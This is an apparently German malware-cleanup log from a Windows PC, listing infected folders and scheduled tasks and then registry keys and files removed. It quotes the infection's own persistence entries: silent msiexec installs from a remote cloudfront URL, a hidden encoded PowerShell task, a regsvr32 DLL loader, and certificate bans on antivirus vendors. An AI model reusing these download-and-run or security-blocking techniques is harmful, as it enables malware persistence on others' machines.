2017-05-07 18:05 - 2017-05-07 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-6415-1
2017-05-07 18:05 - 2017-05-07 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3141-0
2017-05-05 18:05 - 2017-05-05 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3ba3-1
2017-05-05 18:05 - 2017-05-05 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-0291-0
2017-05-05 14:10 - 2017-05-31 13:47 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\background_fault
2017-05-05 14:10 - 2017-05-05 17:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\WANARE
2017-05-05 14:10 - 2017-05-05 14:10 - 00000000 ____D C:\ProgramData\BIT
2017-05-04 00:06 - 2017-05-04 00:06 - 00000000 ____D C:\ProgramData\f9d60eee-5a03-0
2017-05-04 00:05 - 2017-05-04 00:06 - 00000000 ____D C:\ProgramData\f9d60eee-1c67-1
2017-05-03 22:04 - 2017-05-03 22:04 - 00000000 ____D C:\ProgramData\{93E26451-CD9A-43A5-A2FA-C42392EA4001}
2017-05-03 20:46 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{E291433F-553A-F494-7993-5DB4F74EF600}
2017-05-03 20:46 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{1F88CA98-A823-7D33-19C2-25D7F85A3115}
2017-05-03 20:46 - 2017-05-08 20:37 - 00000000 ____D C:\ProgramData\{30a66e80-412c-0}
2017-05-03 20:46 - 2017-05-08 20:37 - 00000000 ____D C:\ProgramData\{0f4d7d53-512c-0}
2017-05-03 20:46 - 2017-05-08 20:37 - 00000000 ____D C:\ProgramData\{00d223fb-612c-1}
2017-05-03 17:06 - 2017-05-07 12:24 - 00000000 _____ C:\Windows\SysWOW64\4
2017-05-03 15:17 - 2017-05-11 15:22 - 00000000 _____ C:\Windows\SysWOW64\1111111
2017-05-03 15:17 - 2017-05-03 21:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\SNAREA
2017-04-27 15:29 - 2017-04-27 15:29 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Everness
2017-04-27 15:28 - 2017-04-27 15:28 - 00000000 _____ C:\Windows\SysWOW64\33
2017-04-26 17:00 - 2017-05-05 17:00 - 00000000 ____D C:\Insist
2017-04-25 13:12 - 2017-05-05 16:02 - 00000000 ____D C:\Windows\psgo
2017-04-23 12:05 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\f9d60eee-41d1-1
2017-04-23 12:05 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\f9d60eee-04d5-0
2017-04-21 12:05 - 2017-04-21 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-6bc1-0
2017-04-21 12:05 - 2017-04-21 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-4b23-1
2017-04-20 18:05 - 2017-04-20 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-5761-1
2017-04-20 18:05 - 2017-04-20 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3ce5-0
2017-04-20 12:31 - 2017-05-11 15:22 - 00000000 _____ C:\Windows\SysWOW64\22
2017-04-20 12:31 - 2017-05-11 15:22 - 00000000 _____ C:\Windows\SysWOW64\11
2017-04-19 18:05 - 2017-04-19 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-58d7-1
2017-04-19 18:05 - 2017-04-19 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-0091-0
2017-04-19 14:08 - 2017-05-07 13:38 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\3DM
2017-04-19 14:08 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{79ad3ae3-412c-1}
2017-04-19 14:08 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{74b842e5-112c-0}
2017-04-19 14:08 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{4bea5929-412c-0}
2017-04-14 12:05 - 2017-04-19 14:08 - 00000000 ____D C:\ProgramData\f9d60eee-6097-0
2017-04-14 12:00 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{341DC82C-83B6-7F87-DEF3-C97D7103A5DF}
2017-04-14 12:00 - 2017-04-19 14:08 - 00000000 ____D C:\ProgramData\f9d60eee-5791-0
2017-04-14 12:00 - 2017-04-19 14:08 - 00000000 ____D C:\ProgramData\{698332d3-212c-0}
2017-04-14 12:00 - 2017-04-19 14:08 - 00000000 ____D C:\ProgramData\{26445420-112c-1}
2017-04-14 12:00 - 2017-04-14 12:00 - 00003744 _____ C:\Windows\System32\Tasks\{C8763487-4C07-317B-EF0E-D6F917015462}
2017-04-14 12:00 - 2017-04-14 12:00 - 00000000 ____D C:\ProgramData\575f1242
2017-04-13 12:11 - 2017-05-25 12:06 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\SNARE
2017-04-10 13:59 - 2017-05-07 13:44 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\AMD
2017-04-10 13:59 - 2017-04-10 13:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\SNARER
2017-04-06 23:28 - 2017-05-07 13:34 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\clean
2017-04-04 00:34 - 2017-04-04 01:35 - 00003336 _____ C:\Windows\System32\Tasks\Update
2017-03-30 21:00 - 2017-05-05 17:00 - 00003520 _____ C:\Windows\System32\Tasks\Windows-PG
2017-03-30 21:00 - 2017-03-30 21:00 - 00000000 ____D C:\Update
2017-03-29 10:46 - 2017-03-29 10:46 - 00000000 ____D C:\Program Files (x86)\temp
2017-03-28 19:41 - 2017-03-28 19:41 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Firefox
2017-03-28 19:39 - 2017-03-28 19:39 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Firefox
2017-03-28 19:39 - 2017-03-28 19:39 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Yeshat
2017-03-28 19:38 - 2017-04-01 11:33 - 00000000 _____ C:\Windows\SysWOW64\3
2017-03-27 14:45 - 2017-03-27 14:45 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\clean
2017-03-17 12:39 - 2017-03-17 12:39 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\BrowserModule
2017-03-17 12:37 - 2017-04-14 12:00 - 00000000 ____D C:\ProgramData\5aceedc5-7cf5-1
2017-03-17 12:37 - 2017-04-14 12:00 - 00000000 ____D C:\ProgramData\5aceedc5-3161-0
2017-03-17 12:20 - 2017-06-01 12:00 - 00003614 _____ C:\Windows\System32\Tasks\Milimili
2017-03-17 12:20 - 2017-05-07 13:41 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Kyubey
2017-03-17 12:20 - 2017-03-17 14:16 - 00000000 ____D C:\Program Files (x86)\MIO
2017-03-17 12:19 - 2017-06-01 12:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\WinSAPSvc
2017-03-17 12:19 - 2017-03-21 15:08 - 00000000 ____D C:\Program Files (x86)\BikaQRss
2017-03-17 00:03 - 2017-03-17 00:04 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Mikghbiritain
2017-03-17 00:03 - 2017-03-17 00:03 - 00006020 _____ C:\Windows\System32\Tasks\Qizsywosale Core
2017-03-17 00:03 - 2017-03-17 00:03 - 00003992 _____ C:\Windows\System32\Tasks\Perkeentgreserk
2017-03-17 00:03 - 2017-03-17 00:03 - 00000000 ____D C:\Program Files (x86)\Qizsywosale Core
2017-03-13 23:02 - 2017-03-13 23:02 - 03164345 _____ C:\Windows\455cd42b03953ae3030f3e9254843325.exe
2017-06-05 10:11 - 2016-11-16 18:44 - 00000354 _____ C:\Users\Public\Documents\temp.dat
2017-05-31 14:36 - 2016-11-23 19:13 - 01784108 _____ C:\spyhunter.fix
2017-05-29 22:00 - 2016-01-02 17:50 - 00000306 __RSH C:\ProgramData\ntuser.pol
2017-05-17 21:05 - 2015-12-28 13:23 - 00000000 ____D C:\Users\Nick Schuster\Desktop\982652986578268672
2016-07-31 15:02 - 2016-07-31 15:02 - 7129600 _____ () C:\Users\Nick Schuster\AppData\Roaming\agent.dat
2017-01-03 13:27 - 2017-01-03 13:20 - 1052256 _____ () C:\Users\Nick Schuster\AppData\Roaming\avv.exe
2016-07-31 15:01 - 2016-07-31 15:01 - 0129024 _____ () C:\Users\Nick Schuster\AppData\Roaming\Installer.dat
2016-07-31 15:02 - 2016-07-31 15:02 - 0018432 _____ () C:\Users\Nick Schuster\AppData\Roaming\Main.dat
2016-07-31 15:03 - 2016-02-18 10:10 - 5267952 _____ () C:\Users\Nick Schuster\AppData\Roaming\ziptool_wc-9015_setup.exe
2017-04-04 00:34 - 2017-04-04 13:52 - 0000000 _____ () C:\Users\Nick Schuster\AppData\Roaming\Microsoft\taskhw.exe
CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{D3BB05A4-7B0B-D6FE-9C46-02343C11E1C8}\InprocServer32 -> kein Dateipfad
CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{DC9D74AA-7319-69B5-E1DE-59842454B0BE}\InprocServer32 -> kein Dateipfad
Task: {006195E7-5B35-4800-8C6E-E8E48BDE5D59} - System32\Tasks\KMSAutoNet => C:\ProgramData\KMSAutoS\KMSAuto Net.exe
C:\ProgramData\KMSAutoS
Task: {12EA2644-53AB-4F3B-8420-DDC68495A6C2} - System32\Tasks\Windows-PG => powershell.exe C:\windows\psgo\psgo.ps1
Task: {1400CED9-EAA0-49F8-A50B-2477914720B4} - System32\Tasks\Games\UpdateCheck_S-1-5-21-3847841184-804715454-2304624315-1001
Task: {16129431-3A87-44D6-B1E9-5B37A253A591} - System32\Tasks\RunAtStartup => C:\Users\Nick Schuster\AppData\Roaming\Event Monitor\em.exe  <==== ACHTUNG
C:\Users\Nick Schuster\AppData\Roaming\Event Monitor
Task: {169116B2-0EF1-475C-8491-807AAB8364E3} - System32\Tasks\Microsoft\Windows\DeviceSettings\Puperpysikuy => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&amp;d=20170529 /q <==== ACHTUNG
Task: {2A619B04-44F2-4A39-B52E-0AD07E393C91} - System32\Tasks\Prervadom Cloud => C:\Program Files (x86)\Mlecultfowudom\zerfotain.exe
C:\Program Files (x86)\Mlecultfowudom
Task: {2E2640BC-9462-4C5F-90BD-892338D59DF4} - System32\Tasks\Milimili => C:\Program Files (x86)\MIO\MIO.exe [2017-06-01] () <==== ACHTUNG
C:\Program Files (x86)\MIO
Unlock: C:\Windows\System32\Tasks\Update
CMD: type "C:\Windows\System32\Tasks\Update"
Task: {6AFC3B2B-BD1E-4624-B0FF-60E210D98357} - \task Update -> Keine Datei <==== ACHTUNG
Task: {72FEC8A9-7468-4164-9720-A650AB414362} - System32\Tasks\ttwifi => C:\Program Files (x86)\ttwifi\tiantianwifi.exe  <==== ACHTUNG
C:\Program Files (x86)\ttwifi
Task: {74DECB46-8172-4D8D-A795-B4201324F918} - System32\Tasks\Qizsywosale Core => C:\Program Files (x86)\Fepuly\xruvudom.exe
C:\Program Files (x86)\Fepuly
Task: {7DF225F2-E9BE-467E-BBE5-6136CE240342} - System32\Tasks\Quick Tharks Screen Saver => Rundll32.exe "C:\Program Files\Quick Tharks Screen Saver\Quick Tharks Screen Saver.dll",eJRVBzCDxduB
C:\Program Files\Quick Tharks Screen Saver
Task: {9BC09D15-0FE3-42E6-917C-A7AEE41F44B8} - System32\Tasks\Samsung Update => msiexec.exe /i hxxp://D2Buh1bF1G584W.CLouDfRoNT.net/mmtsk/occup.php?p=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&amp;d=20170418 /q <==== ACHTUNG
Task: {A885A6AF-A8B5-484C-9416-15C01E02D67D} - System32\Tasks\fyKiuMkkXh => C:\Program Files (x86)\XIOLoa7MyU\updengine.exe  <==== ACHTUNG
C:\Program Files (x86)\XIOLoa7MyU
Task: {B109EF88-6721-40A7-B261-9D175E298958} - System32\Tasks\Coobeck Monitor => C:\Program Files (x86)\Arucerther\yaupdcache.exe
C:\Program Files (x86)\Arucerther
Task: {B76D98BF-21F4-4F78-A43A-95F8B72AD43D} - System32\Tasks\{0B047F47-0F0A-0408-0B11-087F0C0B110F} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand IAA7ADsAIAAgADsAOwA7ACAAIAAgADsAOwAgADsAOwA7ADsAIAA7ADsAOwA7ADsAOwA7ACAAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA (Der Dateneintrag hat 9580 mehr Zeichen). <==== ACHTUNG
Task: {D18984F6-6A81-40A8-A7A5-020084C99227} - System32\Tasks\{C8763487-4C07-317B-EF0E-D6F917015462} => Regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\575f1242\3bf5ca72.dll" <==== ACHTUNG
C:\programdata\575f1242
Task: {D66B17AC-FEAC-46B3-A7DF-3865C135032C} - System32\Tasks\Microsoft\Windows\MemoryDiagnostic\VideoMemoryDiagnostic => C:\\ProgramData\\VideoMemoryDiagnostic\\vmdiag.exe [2017-05-26] ()
C:\ProgramData\VideoMemoryDiagnostic
Task: {D74DB4BE-DE57-43E2-97AF-575D2663AEE8} - System32\Tasks\Perkeentgreserk => msiexec.exe /i hxxp://d2buh1bf1g584w.cloudfront.net/msi/rel.php?u=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&amp;v=20170316 /q <==== ACHTUNG
Task: {E6C4E4E8-090E-49DF-8E3F-70FC88E8E56F} - System32\Tasks\{25FE2E5B-9255-99F0-1368-8A42E54326C9} => C:\ProgramData\{279BD4C5-9030-636E-34A5-319E03364EE3}\63E4E652-D44F-51F9-5689-B0A4B2295152.exe [2017-06-02] () <==== ACHTUNG
C:\ProgramData\{279BD4C5-9030-636E-34A5-319E03364EE3}
Task: {EC667399-8041-43FD-BACE-C95F53D20EC6} - System32\Tasks\SoftUpgrade => C:\Program Files (x86)\SoftUpgrade\softup.exe [2017-05-29] () <==== ACHTUNG
C:\Program Files (x86)\SoftUpgrade
Task: {F51F669D-34D8-49E3-9371-1DA093A90419} - System32\Tasks\Gerfety Renew => C:\Program Files (x86)\Prfasaretaly\yaupdcache.exe [2017-05-29] ()
C:\Program Files (x86)\Prfasaretaly
WMI_ActiveScriptEventConsumer_ASEC: <===== ACHTUNG
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Applemy\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VirtualDJ\Online Help.lnk -> hxxp://www.virtualdj.com/wiki
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VirtualDJ\www.virtualdj.com.lnk -> hxxp://www.virtualdj.com
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files (x86)\Applemy\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Intеrnеt Ехрlоrеr.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) <===== Cyrillic
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\d6731079c9ca4513\Google Chrome.lnk -> C:\Program Files (x86)\Applemy\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\9501e18d7c2ab92e\CyberLyric - Chrome.lnk -> C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\9501e18d7c2ab92e ()
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\8e5c0db72600a899\Google Chrome.lnk -> C:\Program Files (x86)\Applemy\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\82c1ad0bea96409d\CyberLyric - Chrome.lnk -> C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\82c1ad0bea96409d ()
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\360c22b137d62ce9\CyberLyric - Chrome.lnk -> C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\360c22b137d62ce9 ()
C:\Program Files (x86)\Applemy
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Classes\regfile: regedit.exe "%1" <===== ACHTUNG
Unlock: C:\Windows\system32\Drivers\etc\hosts
C:\Windows\system32\Drivers\etc\hosts
MSCONFIG\Services: AppleAppSvc => 2
MSCONFIG\Services: Kitty => 2
MSCONFIG\Services: pgt_svc => 2
MSCONFIG\Services: srcsrv => 2
HKLM\...\StartupApproved\Run: => "vnlgp"
HKLM\...\StartupApproved\Run: => "gplyra"
HKLM\...\StartupApproved\Run32: => "KMS"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\StartupFolder: => "smss.exe"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "HKOEGBGL4X"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "tsiVideo"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "6CC2RLD170"
HKLM\ DisallowedCertificates: 03D22C9C66915D58C88912B64C1F984B8344EF09 (Comodo Security Solutions) <==== ACHTUNG
HKLM\ DisallowedCertificates: 0F684EC1163281085C6AF20528878103ACEFCAAB (F-Secure Corporation) <==== ACHTUNG
HKLM\ DisallowedCertificates: 1667908C9E22EFBD0590E088715CC74BE4C60884 (U)
HKLM\ DisallowedCertificates: 18DEA4EFA93B06AE997D234411F3FD72A677EECE (U)
HKLM\ DisallowedCertificates: 2026D13756EB0DB753DF26CB3B7EEBE3E70BB2CF (U)
HKLM\ DisallowedCertificates: 249BDA38A611CD746A132FA2AF995A2D3C941264 (Malwarebytes Corporation) <==== ACHTUNG
HKLM\ DisallowedCertificates: 31AC96A6C17C425222C46D55C3CCA6BA12E54DAF (U)
HKLM\ DisallowedCertificates: 331E2046A1CCA7BFEF766724394BE6112B4CA3F7 (Trend Micro) <==== ACHTUNG
HKLM\ DisallowedCertificates: 3353EA609334A9F23A701B9159E30CB6C22D4C59 (U)
HKLM\ DisallowedCertificates: 373C33726722D3A5D1EDD1F1585D5D25B39BEA1A (SUPERAntiSpyware.com) <==== ACHTUNG
HKLM\ DisallowedCertificates: 3850EDD77CC74EC9F4829AE406BBF9C21E0DA87F (Kaspersky Lab) <==== ACHTUNG
HKLM\ DisallowedCertificates: 3D496FA682E65FC122351EC29B55AB94F3BB03FC (AVG Technologies CZ) <==== ACHTUNG
HKLM\ DisallowedCertificates: 4243A03DB4C3C15149CEA8B38EEA1DA4F26BD159 (PC Tools) <==== ACHTUNG
HKLM\ DisallowedCertificates: 42727E052C0C2E1B35AB53E1005FD9EDC9DE8F01 (K7 Computing Pvt Ltd) <==== ACHTUNG
HKLM\ DisallowedCertificates: 4420C99742DF11DD0795BC15B7B0ABF090DC84DF (Doctor Web Ltd.) <==== ACHTUNG
HKLM\ DisallowedCertificates: 4C0AF5719009B7C9D85C5EAEDFA3B7F090FE5FFF (U)
HKLM\ DisallowedCertificates: 5240AB5B05D11B37900AC7712A3C6AE42F377C8C (Check Point Software Technologies Ltd.) <==== ACHTUNG
HKLM\ DisallowedCertificates: 5DD3D41810F28B2A13E9A004E6412061E28FA48D (Emsisoft Ltd) <==== ACHTUNG
HKLM\ DisallowedCertificates: 7457A3793086DBB58B3858D6476889E3311E550E (U)
HKLM\ DisallowedCertificates: 76A9295EF4343E12DFC5FE05DC57227C1AB00D29 (BullGuard Ltd) <==== ACHTUNG
HKLM\ DisallowedCertificates: 775B373B33B9D15B58BC02B184704332B97C3CAF (McAfee) <==== ACHTUNG
HKLM\ DisallowedCertificates: 872CD334B7E7B3C3D1C6114CD6B221026D505EAB (Comodo Security Solutions) <==== ACHTUNG
HKLM\ DisallowedCertificates: 88AD5DFE24126872B33175D1778687B642323ACF (McAfee) <==== ACHTUNG
HKLM\ DisallowedCertificates: 9132E8B079D080E01D52631690BE18EBC2347C1E (Adaware Software) <==== ACHTUNG
HKLM\ DisallowedCertificates: 982D98951CF3C0CA2A02814D474A976CBFF6BDB1 (Safer Networking Ltd.) <==== ACHTUNG
HKLM\ DisallowedCertificates: 9A08641F7C5F2CCA0888388BE3E5DBDDAAA3B361 (Webroot Inc.) <==== ACHTUNG
HKLM\ DisallowedCertificates: 9C43F665E690AB4D486D4717B456C5554D4BCEB5 (U)
HKLM\ DisallowedCertificates: 9E3F95577B37C74CA2F70C1E1859E798B7FC6B13 (U)
HKLM\ DisallowedCertificates: A1F8DCB086E461E2ABB4B46ADCFA0B48C58B6E99 (Avira Operations GmbH & Co. KG) <==== ACHTUNG
HKLM\ DisallowedCertificates: A5341949ABE1407DD7BF7DFE75460D9608FBC309 (U)
HKLM\ DisallowedCertificates: A59CC32724DD07A6FC33F7806945481A2D13CA2F (ESET) <==== ACHTUNG
HKLM\ DisallowedCertificates: AB7E760DA2485EA9EF5A6EEE7647748D4BA6B947 (AVG Technologies CZ) <==== ACHTUNG
HKLM\ DisallowedCertificates: AD4C5429E10F4FF6C01840C20ABA344D7401209F (Avast Antivirus/Software) <==== ACHTUNG
HKLM\ DisallowedCertificates: AD96BB64BA36379D2E354660780C2067B81DA2E0 (Symantec Corporation) <==== ACHTUNG
HKLM\ DisallowedCertificates: B8EBF0E696AF77F51C96DB4D044586E2F4F8FD84 (U)
HKLM\ DisallowedCertificates: CDC37C22FE9272D8F2610206AD397A45040326B8 (U)
HKLM\ DisallowedCertificates: D3F78D747E7C5D6D3AE8ABFDDA7522BFB4CBD598 (Kaspersky Lab) <==== ACHTUNG
HKLM\ DisallowedCertificates: DB303C9B61282DE525DC754A535CA2D6A9BD3D87 (ThreatTrack Security) <==== ACHTUNG
HKLM\ DisallowedCertificates: DB77E5CFEC34459146748B667C97B185619251BA (Avast Antivirus/Software) <==== ACHTUNG
HKLM\ DisallowedCertificates: E22240E837B52E691C71DF248F12D27F96441C00 (U)
HKLM\ DisallowedCertificates: E513EAB8610CFFD7C87E00BCA15C23AAB407FCEF (AVG Technologies CZ) <==== ACHTUNG
HKLM\ DisallowedCertificates: ED841A61C0F76025598421BC1B00E24189E68D54 (Bitdefender SRL) <==== ACHTUNG
HKLM\ DisallowedCertificates: F83099622B4A9F72CB5081F742164AD1B8D048C9 (ESET) <==== ACHTUNG
HKLM\ DisallowedCertificates: FBB42F089AF2D570F2BF6F493D107A3255A9BB1A (Panda Security S.L) <==== ACHTUNG
Hosts:
RemoveProxy:
CMD: ipconfig /flushdns
CMD: netsh winsock reset
EmptyTemp:
*****************

Prozesse erfolgreich geschlossen.
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\gplyra => Wert erfolgreich entfernt
C:\Users\Nick Schuster\AppData\Roaming\gplyra => erfolgreich verschoben
HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\\KMS => Wert erfolgreich entfernt
"C:\Windows\kmsonboot" => nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\\RAZERLAP => Wert nicht gefunden.
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows\CurrentVersion\RunOnce\\windows => Wert erfolgreich entfernt
C:\ProgramData\windows => erfolgreich verschoben
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{3b90a8ba-330f-11e7-83e4-0071c2420bd3} => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{3b90a8ba-330f-11e7-83e4-0071c2420bd3} => Schl黶sel nicht gefunden.
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{e8e722cc-412b-11e7-840b-0071c2420bd3} => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{e8e722cc-412b-11e7-840b-0071c2420bd3} => Schl黶sel nicht gefunden.
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell => Wert erfolgreich entfernt
C:\Users\Nick Schuster\AppData\Roaming\avv.exe => erfolgreich verschoben
HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Run\\sG4nE4Ad85qJ.exe => Wert erfolgreich entfernt
C:\ProgramData\e9cf343f516c47a4a7255147ad1dcd13 => erfolgreich verschoben
HKLM\SYSTEM\CurrentControlSet\Control\Print\Providers\6ddy6fjk => Schl黶sel erfolgreich entfernt
HKLM\SYSTEM\CurrentControlSet\Control\Print\Providers\\order 6ddy6fjk => erfolgreich entfernt
C:\Program Files (x86)\Qizsywosale Core => erfolgreich verschoben
HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\GoogleUpdate.exe => Schl黶sel erfolgreich entfernt
HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\GoogleUpdaterService.exe => Schl黶sel erfolgreich entfernt
HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\rstrui.exe => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\ShellExecuteHooks\\{5EBD559E-A5BA-11E6-B9FD-64006A5CFC23} => Wert erfolgreich entfernt
HKCR\CLSID\{5EBD559E-A5BA-11E6-B9FD-64006A5CFC23} => Schl黶sel nicht gefunden.
C:\Users\Nick Schuster\AppData\Roaming\Phucusy => erfolgreich verschoben
HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\ShellExecuteHooks\\{9C829CE8-039A-11E7-8F7F-64006A5CFC23} => Wert erfolgreich entfernt
HKCR\CLSID\{9C829CE8-039A-11E7-8F7F-64006A5CFC23} => Schl黶sel nicht gefunden.
"C:\Users\Nick Schuster\AppData\Roaming\Anerpe" => nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\ShellExecuteHooks\\{234628B4-4048-11E7-9F2C-64006A5CFC23} => Wert erfolgreich entfernt
HKCR\CLSID\{234628B4-4048-11E7-9F2C-64006A5CFC23} => Schl黶sel nicht gefunden.
C:\Users\Nick Schuster\AppData\Roaming\Grerdaentlerveck => erfolgreich verschoben
HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\ShellExecuteHooks\\{A4CD8824-4049-11E7-9F11-64006A5CFC23} => Wert erfolgreich entfernt
HKCR\CLSID\{A4CD8824-4049-11E7-9F11-64006A5CFC23} => Schl黶sel nicht gefunden.
C:\Users\Default\AppData\Roaming\Minerent => erfolgreich verschoben
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ MEGA (Pending) => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{056D528D-CE28-4194-9BA3-BA2E9197FF8C} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ MEGA (Synced) => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{05B38830-F4E9-4329-978B-1DD28605D202} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ MEGA (Syncing) => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{0596C850-7BDD-4C9D-AFDF-873BE6890637} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt1 => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt10 => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt2 => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt3 => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt4 => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
